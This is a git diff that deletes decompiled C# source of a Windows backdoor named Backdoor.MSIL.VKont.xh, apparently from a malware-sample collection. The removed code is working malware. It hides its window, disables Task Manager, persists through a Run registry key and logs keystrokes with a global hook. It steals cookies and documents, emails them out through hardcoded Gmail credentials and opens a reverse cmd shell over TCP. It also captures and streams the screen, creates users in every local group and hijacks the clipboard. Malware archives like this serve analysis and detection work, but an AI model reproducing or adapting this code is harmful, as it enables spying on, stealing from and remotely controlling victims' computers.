- public static void CreateUser(string UserName, string Password)
- {
- try
- {
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
- DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
- directoryEntry2.Invoke("SetPassword", (object) Password);
- directoryEntry2.CommitChanges();
- DirectoryEntry directoryEntry3 = (DirectoryEntry) null;
- foreach (DirectoryEntry child in directoryEntry1.Children)
- {
- try
- {
- directoryEntry3 = directoryEntry1.Children.Find(child.Name, "group");
- directoryEntry3.Invoke("Add", (object) directoryEntry2.Path.ToString());
- }
- catch
- {
- }
- }
- directoryEntry2.Close();
- directoryEntry1.Close();
- directoryEntry3.Close();
- }
- catch
- {
- }
- }
-
- private static void proces(string proc)
- {
- bool flag = true;
- try
- {
- while (flag)
- {
- Application.DoEvents();
- Process[] processArray = (Process[]) null;
- for (int index = 0; index < processArray.Length; ++index)
- {
- processArray = Process.GetProcesses();
- Thread.Sleep(20);
- if (processArray[index].ProcessName == proc)
- processArray[index].Kill();
- }
- }
- }
- catch
- {
- }
- }
-
- private static void key()
- {
- try
- {
- Thread.Sleep(100);
- Program.thkey = new Thread[20];
- Application.EnableVisualStyles();
- Application.SetCompatibleTextRenderingDefault(false);
- Program._hookID = Program.SetHook(Program._proc);
- Application.Run();
- Program.UnhookWindowsHookEx(Program._hookID);
- }
- catch
- {
- }
- }
-
- private static void Screnn()
- {
- for (int index = 1; index <= 0; ++index)
- {
- Thread.Sleep(TimeSpan.FromSeconds(0.0));
- new Program.ScreenShotDll().CaptureScreen("0" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg);
- }
- }
-
- private static string ShowDomainUsers()
- {
- string str = (string) null;
- DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName);
- foreach (DirectoryEntry child in directoryEntry1.Children)
- {
- try
- {
- foreach (object adsObject in (IEnumerable) directoryEntry1.Children.Find(child.Name, "Group").Invoke("Members", (object[]) null))
- {
- DirectoryEntry directoryEntry2 = new DirectoryEntry(adsObject);
- str = str + child.Name + ": " + directoryEntry2.Name + "\n";
- }
- }
- catch
- {
- }
- }
- return str;
- }
-
- private static bool buffDlin(string buff) => Program.strbug.Length == buff.Length;
-
- private static bool buffZ(string purse, string param)
- {
- Program.buflyb = (string) null;
- if (param == null)
- return true;
- int length = param.Length;
- if (length == 0)
- return true;
- Program.strbuftx = (string) null;
- for (int index = 0; index < length; ++index)
- Program.strbuftx += (string) (object) Program.strbug[index];
- return param == Program.strbuftx;
- }
-
- private static bool buffCritery(string buff_purse, string critery_p) => Program.buffDlin(buff_purse) && Program.buffZ(buff_purse, critery_p);
-
- private static void strBuffer()
- {
- try
- {
- string[] strArray1 = new string[0];
- string[] strArray2 = new string[0];
-label_1:
- IDataObject dataObject;
- do
- {
- Application.DoEvents();
- Thread.Sleep(100);
- dataObject = Clipboard.GetDataObject();
- }
- while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
- Program.strbug = (string) dataObject.GetData(DataFormats.Text);
- for (int index = 0; index < strArray1.Length; ++index)
- {
- if (Program.buffCritery(strArray1[index], strArray2[index]))
- Clipboard.SetDataObject((object) strArray1[index]);
- }
- goto label_1;
- }
- catch (Exception ex)
- {
- }
- }
-
- private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-
- public class ScreenShotDll
- {
- public void CaptureScreen(string fileName, ImageFormat imageFormat) => this.CaptureScreenShot().Save(fileName, imageFormat);
-
- public Bitmap CaptureScreenShot()
- {
- Image image = (Image) new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
- Graphics graphics = Graphics.FromImage(image);
- graphics.CompositingQuality = CompositingQuality.AssumeLinear;
- IntPtr hdc = graphics.GetHdc();
- IntPtr windowDc = Program.GetWindowDC(Program.GetDesktopWindow());
- long num = (long) Program.BitBlt(hdc, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, windowDc, 0, 0, 13369376);
- graphics.ReleaseHdc(hdc);
- return (Bitmap) image;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.csproj
deleted file mode 100644
index d7c7de4e..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.csproj
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {5360A4AA-689B-461E-93C4-84BC864C5CB7}
- Exe
- Скриншот1
- 0.0.0.0
- Troj
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.sln
deleted file mode 100644
index 7f530ff0..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Backdoor.MSIL.VKont.xh.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Скриншот1", "Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e.csproj", "{5360A4AA-689B-461E-93C4-84BC864C5CB7}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {5360A4AA-689B-461E-93C4-84BC864C5CB7}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Program.cs
deleted file mode 100644
index 712b8c4c..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e/Program.cs
+++ /dev/null
@@ -1,1118 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Troj.Program
-// Assembly: Скриншот1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8A5AD647-4891-4CD6-A3F9-881A0BA488A2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.VKont.xh-d17ac3cd50a46e65892733da450e3cae098c1d4245a2da8bfeb13fd03222a00e.exe
-
-using Microsoft.Win32;
-using System;
-using System.Collections;
-using System.Diagnostics;
-using System.DirectoryServices;
-using System.Drawing;
-using System.Drawing.Drawing2D;
-using System.Drawing.Imaging;
-using System.IO;
-using System.IO.Compression;
-using System.Net;
-using System.Net.Mail;
-using System.Net.Sockets;
-using System.Runtime.InteropServices;
-using System.Security.Cryptography;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace Troj
-{
- public class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 256;
- private static int svsex;
- private static int sdosta;
- private static string logkey;
- private static int keycount = 0;
- private static Thread[] thkey;
- private static Thread[] tcherez;
- private static int cerezcount = 0;
- private static int keyI;
- private static string strbug;
- private static string strbuftx;
- private static string buflyb;
- private static int ftpi;
- private static int countGroup = 0;
- private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
- private static IntPtr _hookID = IntPtr.Zero;
- private static Thread th;
- private static TcpClient socketForServer;
- private static NetworkStream networkStream;
- private static StreamWriter streamWriter;
- private static StreamReader streamReader;
- private static Process processCmd;
- private static StringBuilder strInput;
- private static int hwnd_n;
- private static int hwnd_s;
- private static string DiskWindows;
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(
- int idHook,
- Program.LowLevelKeyboardProc lpfn,
- IntPtr hMod,
- uint dwThreadId);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(
- IntPtr hhk,
- int nCode,
- IntPtr wParam,
- IntPtr lParam);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
-
- [DllImport("user32.dll")]
- public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
-
- [DllImport("user32.dll")]
- private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
-
- [DllImport("user32.dll")]
- private static extern int GetForegroundWindow();
-
- [DllImport("user32")]
- private static extern uint GetWindowThreadProcessId(int hWnd, out int lpdwProcessId);
-
- [DllImport("user32.dll")]
- public static extern IntPtr GetDesktopWindow();
-
- [DllImport("user32.dll")]
- public static extern IntPtr GetWindowDC(IntPtr hwnd);
-
- [DllImport("gdi32.dll")]
- public static extern ulong BitBlt(
- IntPtr hDestDC,
- int x,
- int y,
- int nWidth,
- int nHeight,
- IntPtr hSrcDC,
- int xSrc,
- int ySrc,
- int dwRop);
-
- private static void SearchAll(
- string disk,
- string n_file,
- string smail,
- string sftp,
- string spapka)
- {
- try
- {
- foreach (DirectoryInfo directory in new DirectoryInfo(disk).GetDirectories())
- {
- try
- {
- foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
- Program.CherezShto(file.FullName, smail, sftp, spapka);
- }
- catch
- {
- }
- Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
- }
- }
- catch
- {
- }
- }
-
- private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
- {
- using (Process currentProcess = Process.GetCurrentProcess())
- {
- using (ProcessModule mainModule = currentProcess.MainModule)
- return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
- }
- }
-
- private static string TimeNow()
- {
- DateTime now = DateTime.Now;
- return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
- }
-
- private static int GetWindowProcessID(int hwnd)
- {
- int lpdwProcessId = 0;
- int windowThreadProcessId = (int) Program.GetWindowThreadProcessId(hwnd, out lpdwProcessId);
- return lpdwProcessId;
- }
-
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- Program.hwnd_n = Program.GetForegroundWindow();
- if (Program.hwnd_n != Program.hwnd_s)
- Program.logkey = Program.logkey + "\n[" + Process.GetProcessById(Program.GetWindowProcessID(Program.hwnd_n)).MainWindowTitle + "]titlewindows[gentroj]\n";
- if (nCode >= 0 && wParam == (IntPtr) 256)
- {
- int num = Marshal.ReadInt32(lParam);
- if (num == 13)
- {
- Program.logkey += "\n";
- }
- else
- {
- ++Program.sdosta;
- ++Program.svsex;
- Program.logkey = Program.logkey + (object) (Keys) num + "@";
- if (Program.sdosta == 500)
- {
- Program.sdosta = 0;
- string time = Program.TimeNow();
- try
- {
- StreamWriter streamWriter = new StreamWriter("key_" + time + ".txt");
- streamWriter.Write(Program.logkey);
- streamWriter.Close();
- Program.thkey[Program.keycount] = new Thread((ThreadStart) (() =>
- {
- string str = time;
- if (!Program.CherezShto("key_" + str + ".txt", "True", "False", ""))
- return;
- new FileInfo("key_" + str + ".txt").Delete();
- }));
- Program.thkey[Program.keycount].Start();
- ++Program.keycount;
- }
- catch
- {
- }
- if (Program.keycount > 10)
- Program.keycount = 0;
- Program.logkey = (string) null;
- }
- }
- }
- Program.hwnd_s = Program.hwnd_n;
- return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
- }
-
- public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
- {
- try
- {
- foreach (string logicalDrive in Directory.GetLogicalDrives())
- Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
- {
- if (nmail == "True" || nmail == "true")
- Program.Sendmailfile(strfile, "User send you message : " + strfile, "smtp.gmail.com", 587, "r.simenov@gmail.com", "12345trewq", "ruslan.telebank@gmail.com", true);
- if (nftp == "True" || nmail == "true")
- Program.Upload_ftp(strfile, "0", "0", "0", pftp);
- return true;
- }
-
- private static string C_OFF(byte[] encryptedTextBytes)
- {
- SymmetricAlgorithm symmetricAlgorithm = (SymmetricAlgorithm) DES.Create();
- MemoryStream memoryStream = new MemoryStream(encryptedTextBytes);
- CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateDecryptor(Program.Ret_Key(), Program.Ret_IV()), CryptoStreamMode.Read);
- byte[] numArray = new byte[encryptedTextBytes.Length];
- cryptoStream.Read(numArray, 0, encryptedTextBytes.Length);
- cryptoStream.Close();
- memoryStream.Close();
- return new UnicodeEncoding().GetString(numArray);
- }
-
- private static byte[] OUTS(string S)
- {
- int length = 0;
- for (int index = 0; index < S.Length; ++index)
- {
- if (S[index] == '&')
- ++length;
- }
- byte[] numArray = new byte[length];
- for (int index = 0; index < numArray.Length; ++index)
- {
- int startIndex = S.IndexOf("&");
- if (startIndex != -1)
- {
- numArray[index] = Convert.ToByte(S.Remove(startIndex));
- S = S.Substring(startIndex + 1);
- }
- else
- break;
- }
- return numArray;
- }
-
- private static byte[] Ret_Key() => new byte[8];
-
- private static byte[] Ret_IV() => new byte[8];
-
- private static string DelF(string tmp)
- {
- for (int index = 0; index < tmp.Length; ++index)
- {
- if (tmp[index] == char.MinValue)
- {
- tmp = tmp.Remove(index);
- break;
- }
- }
- return tmp;
- }
-
- public static bool Sendmailfile(
- string temp,
- string user,
- string ssmtp,
- int sport,
- string smail,
- string spass,
- string vmail,
- bool sssl)
- {
- Attachment attachment = new Attachment(temp, "application/octet-stream");
- bool flag;
- try
- {
- SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
- smtpClient.EnableSsl = sssl;
- MailMessage message = new MailMessage();
- message.From = new MailAddress(smail);
- message.To.Add(new MailAddress(vmail));
- message.Subject = Environment.UserDomainName.ToString() + " / " + user;
- message.Body = user;
- message.Attachments.Add(attachment);
- smtpClient.Send(message);
- attachment.Dispose();
- flag = true;
- }
- catch
- {
- flag = false;
- attachment.Dispose();
- }
- return flag;
- }
-
- private static string GetDiskWindows()
- {
- string systemDirectory = Environment.SystemDirectory;
- return systemDirectory.Remove(systemDirectory.IndexOf("\\") + 1);
- }
-
- private static bool Upload_ftp(
- string filename,
- string ftpServerIP,
- string ftpUserID,
- string ftpPassword,
- string papka)
- {
- ++Program.ftpi;
- FileInfo fileInfo = new FileInfo(filename);
- FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
- ftpWebRequest.Proxy = (IWebProxy) null;
- ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
- ftpWebRequest.KeepAlive = false;
- ftpWebRequest.Method = "STOR";
- ftpWebRequest.UseBinary = true;
- ftpWebRequest.ContentLength = fileInfo.Length;
- int count1 = 2048;
- byte[] buffer = new byte[count1];
- FileStream fileStream = fileInfo.OpenRead();
- try
- {
- Stream requestStream = ftpWebRequest.GetRequestStream();
- for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
- requestStream.Write(buffer, 0, count2);
- requestStream.Close();
- fileStream.Close();
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static void IECookies(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists(Environment.GetEnvironmentVariable("TEMP") + "\\0"))
- System.IO.File.Delete(Environment.GetEnvironmentVariable("TEMP") + "\\0");
- try
- {
- string searchPattern = "*.txt";
- DirectoryInfo directoryInfo = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
- try
- {
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter(Environment.GetEnvironmentVariable("TEMP") + "\\0", true, Encoding.UTF8);
- foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
- {
- streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
- string str = file.FullName + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- }
- catch
- {
- }
- Program.CherezShto(Environment.GetEnvironmentVariable("TEMP") + "\\0", smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- [STAThread]
- private static void Main(string[] args)
- {
- try
- {
- Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
- try
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "cmd.exe",
- Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f",
- WindowStyle = ProcessWindowStyle.Hidden
- });
- string str1 = "%temp%\\word.exe";
- string str2 = Environment.GetEnvironmentVariable(str1.Substring(1, str1.IndexOf('%', 1) - 1)) + str1.Substring(str1.IndexOf('%', 1) + 1);
- try
- {
- if (!System.IO.File.Exists(str2))
- System.IO.File.Copy(Application.ExecutablePath, str2);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
- registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath);
- registryKey.SetValue(str2, (object) str2);
- }
- catch
- {
- }
- new Thread((ThreadStart) (() =>
- {
- Program.DiskWindows = Program.GetDiskWindows();
- Program.SearchAll(Program.DiskWindows, "wand.dat", "True", "False", "");
- })).Start();
- Program.SearchonDisk("*.doc", "True", "False", "");
- new Thread(new ThreadStart(Program.key)).Start();
- }
- catch
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "cmd.exe",
- Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f",
- WindowStyle = ProcessWindowStyle.Hidden
- });
- string str3 = "%temp%\\word.exe";
- string str4 = Environment.GetEnvironmentVariable(str3.Substring(1, str3.IndexOf('%', 1) - 1)) + str3.Substring(str3.IndexOf('%', 1) + 1);
- try
- {
- if (!System.IO.File.Exists(str4))
- System.IO.File.Copy(Application.ExecutablePath, str4);
- }
- catch
- {
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
- registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath);
- registryKey.SetValue(str4, (object) str4);
- }
- catch
- {
- }
- new Thread((ThreadStart) (() =>
- {
- Program.DiskWindows = Program.GetDiskWindows();
- Program.SearchAll(Program.DiskWindows, "wand.dat", "True", "False", "");
- })).Start();
- Program.SearchonDisk("*.doc", "True", "False", "");
- new Thread(new ThreadStart(Program.key)).Start();
- }
- }
- catch
- {
- }
- }
-
- private static void MainView()
- {
- try
- {
- TcpClient tcpClient = new TcpClient();
- Program.ScreenShotDll screenShotDll = new Program.ScreenShotDll();
- tcpClient.Connect("0", Convert.ToInt32("0"));
- NetworkStream stream = tcpClient.GetStream();
- BinaryWriter binaryWriter = new BinaryWriter((Stream) stream);
- BinaryReader binaryReader = new BinaryReader((Stream) stream);
- SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider();
- Image image1 = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0);
- Image image2 = image1;
- byte[] buffer1 = Program.ImageToByte(image1);
- if (binaryReader.ReadBoolean())
- {
- binaryWriter.Write(buffer1.Length);
- if (binaryReader.ReadBoolean())
- binaryWriter.Write(buffer1);
- }
- while (true)
- {
- Thread.Sleep(Convert.ToInt32("0"));
- Application.DoEvents();
- byte[] numArray1 = Program.Bytetorgb((Bitmap) image1);
- Image bmp = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0);
- byte[] numArray2 = Program.Bytetorgb((Bitmap) bmp);
- if (cryptoServiceProvider.ComputeHash(numArray1)[0].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[0].ToString() && cryptoServiceProvider.ComputeHash(numArray1)[1].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[1].ToString())
- {
- image2 = (Image) Program.SearchByte(Program.clearPic((Bitmap) image2), numArray1, numArray2);
- byte[] raw = Program.ImageToByte(image2);
- byte[] numArray3 = Program.Compress(raw);
- bool flag;
- byte[] buffer2;
- if (raw.Length > numArray3.Length)
- {
- Console.Write("#");
- flag = true;
- buffer2 = numArray3;
- }
- else
- {
- flag = false;
- buffer2 = raw;
- }
- if (binaryReader.ReadBoolean())
- {
- binaryWriter.Write(buffer2.Length);
- if (binaryReader.ReadBoolean())
- binaryWriter.Write(buffer2);
- binaryWriter.Write(flag);
- }
- Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "|" + DateTime.Now.Second.ToString() + " Kb : " + buffer2.Length.ToString());
- image1 = bmp;
- }
- else
- Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "/" + DateTime.Now.Second.ToString() + " KB : 0");
- }
- }
- catch
- {
- }
- }
-
- private static byte[] Compress(byte[] raw)
- {
- using (MemoryStream memoryStream = new MemoryStream())
- {
- using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true))
- gzipStream.Write(raw, 0, raw.Length);
- return memoryStream.ToArray();
- }
- }
-
- private static Image Resize(Image img, double percentage)
- {
- int width1 = img.Width;
- int height1 = img.Height;
- int width2 = (int) ((double) width1 / percentage);
- int height2 = (int) ((double) height1 / percentage);
- Bitmap bitmap = new Bitmap(width2, height2);
- Graphics graphics = Graphics.FromImage((Image) bitmap);
- graphics.InterpolationMode = InterpolationMode.Low;
- graphics.DrawImage(img, 0, 0, width2, height2);
- graphics.Dispose();
- return (Image) bitmap;
- }
-
- private static byte[] ImageToByte(Image imageIn)
- {
- MemoryStream memoryStream = new MemoryStream();
- imageIn.Save((Stream) memoryStream, ImageFormat.Png);
- return memoryStream.ToArray();
- }
-
- private static byte[] Bytetorgb(Bitmap bmp)
- {
- Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
- BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
- IntPtr scan0 = bitmapdata.Scan0;
- int length = bitmapdata.Stride * bmp.Height;
- byte[] destination = new byte[length];
- Marshal.Copy(scan0, destination, 0, length);
- bmp.UnlockBits(bitmapdata);
- return destination;
- }
-
- private static Bitmap SearchByte(Bitmap bmp, byte[] mas1, byte[] mas2)
- {
- Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
- BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
- IntPtr scan0 = bitmapdata.Scan0;
- int length = bitmapdata.Stride * bmp.Height;
- byte[] numArray = new byte[length];
- Marshal.Copy(scan0, numArray, 0, length);
- for (int index = 0; index < numArray.Length; ++index)
- {
- if ((int) mas1[index] != (int) mas2[index])
- numArray[index] = mas2[index];
- }
- Marshal.Copy(numArray, 0, scan0, length);
- bmp.UnlockBits(bitmapdata);
- return bmp;
- }
-
- private static Bitmap clearPic(Bitmap bmp)
- {
- Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
- BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
- IntPtr scan0 = bitmapdata.Scan0;
- int length = bitmapdata.Stride * bmp.Height;
- byte[] numArray = new byte[length];
- Marshal.Copy(scan0, numArray, 0, length);
- for (int index = 0; index < numArray.Length; ++index)
- numArray[index] = (byte) 53;
- Marshal.Copy(numArray, 0, scan0, length);
- bmp.UnlockBits(bitmapdata);
- return bmp;
- }
-
- public static void TermSrv()
- {
- string str = Program.TimeNow();
- try
- {
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
- {
- System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- }
- else
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
- if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
- System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
- System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
-
- public static void Backdoor()
- {
- try
- {
- Thread tsend = new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.processCmd = new Process();
- Program.processCmd.StartInfo.FileName = "cmd.exe";
- Program.processCmd.StartInfo.CreateNoWindow = true;
- Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- Program.processCmd.StartInfo.UseShellExecute = false;
- Program.processCmd.StartInfo.RedirectStandardOutput = true;
- Program.processCmd.StartInfo.RedirectStandardInput = true;
- Program.processCmd.StartInfo.RedirectStandardError = true;
- Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
- Program.processCmd.Start();
- Program.processCmd.BeginOutputReadLine();
- Program.strInput = new StringBuilder();
- try
- {
- while (true)
- {
- Program.strInput.Append(Program.streamReader.ReadLine());
- Program.strInput.Append("\n");
- Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
- Program.processCmd.StandardInput.Flush();
- Program.strInput.Remove(0, Program.strInput.Length);
- }
- }
- catch (Exception ex)
- {
- }
- }
- catch
- {
- }
- }));
- new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.socketForServer = new TcpClient("0", 0);
- Program.networkStream = Program.socketForServer.GetStream();
- Program.streamReader = new StreamReader((Stream) Program.networkStream);
- Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
- tsend.Start();
- }
- catch
- {
- }
- })).Start();
- }
- catch
- {
- }
- }
-
- private static void proc(object sender, DataReceivedEventArgs e)
- {
- StringBuilder stringBuilder = new StringBuilder();
- if (string.IsNullOrEmpty(e.Data))
- return;
- try
- {
- stringBuilder.Append(e.Data);
- Program.streamWriter.WriteLine((object) stringBuilder);
- Program.streamWriter.Flush();
- }
- catch
- {
- }
- }
-
- private static void CacheDelete(string dir)
- {
- try
- {
- if (!Directory.Exists(dir))
- return;
- for (int index = 0; index < Directory.GetFiles(dir).Length; ++index)
- {
- try
- {
- System.IO.File.Delete(Directory.GetFiles(dir)[index]);
- }
- catch
- {
- }
- }
- for (int index = 0; index < Directory.GetDirectories(dir).Length; ++index)
- {
- try
- {
- Directory.Delete(Directory.GetDirectories(dir)[index]);
- }
- catch
- {
- }
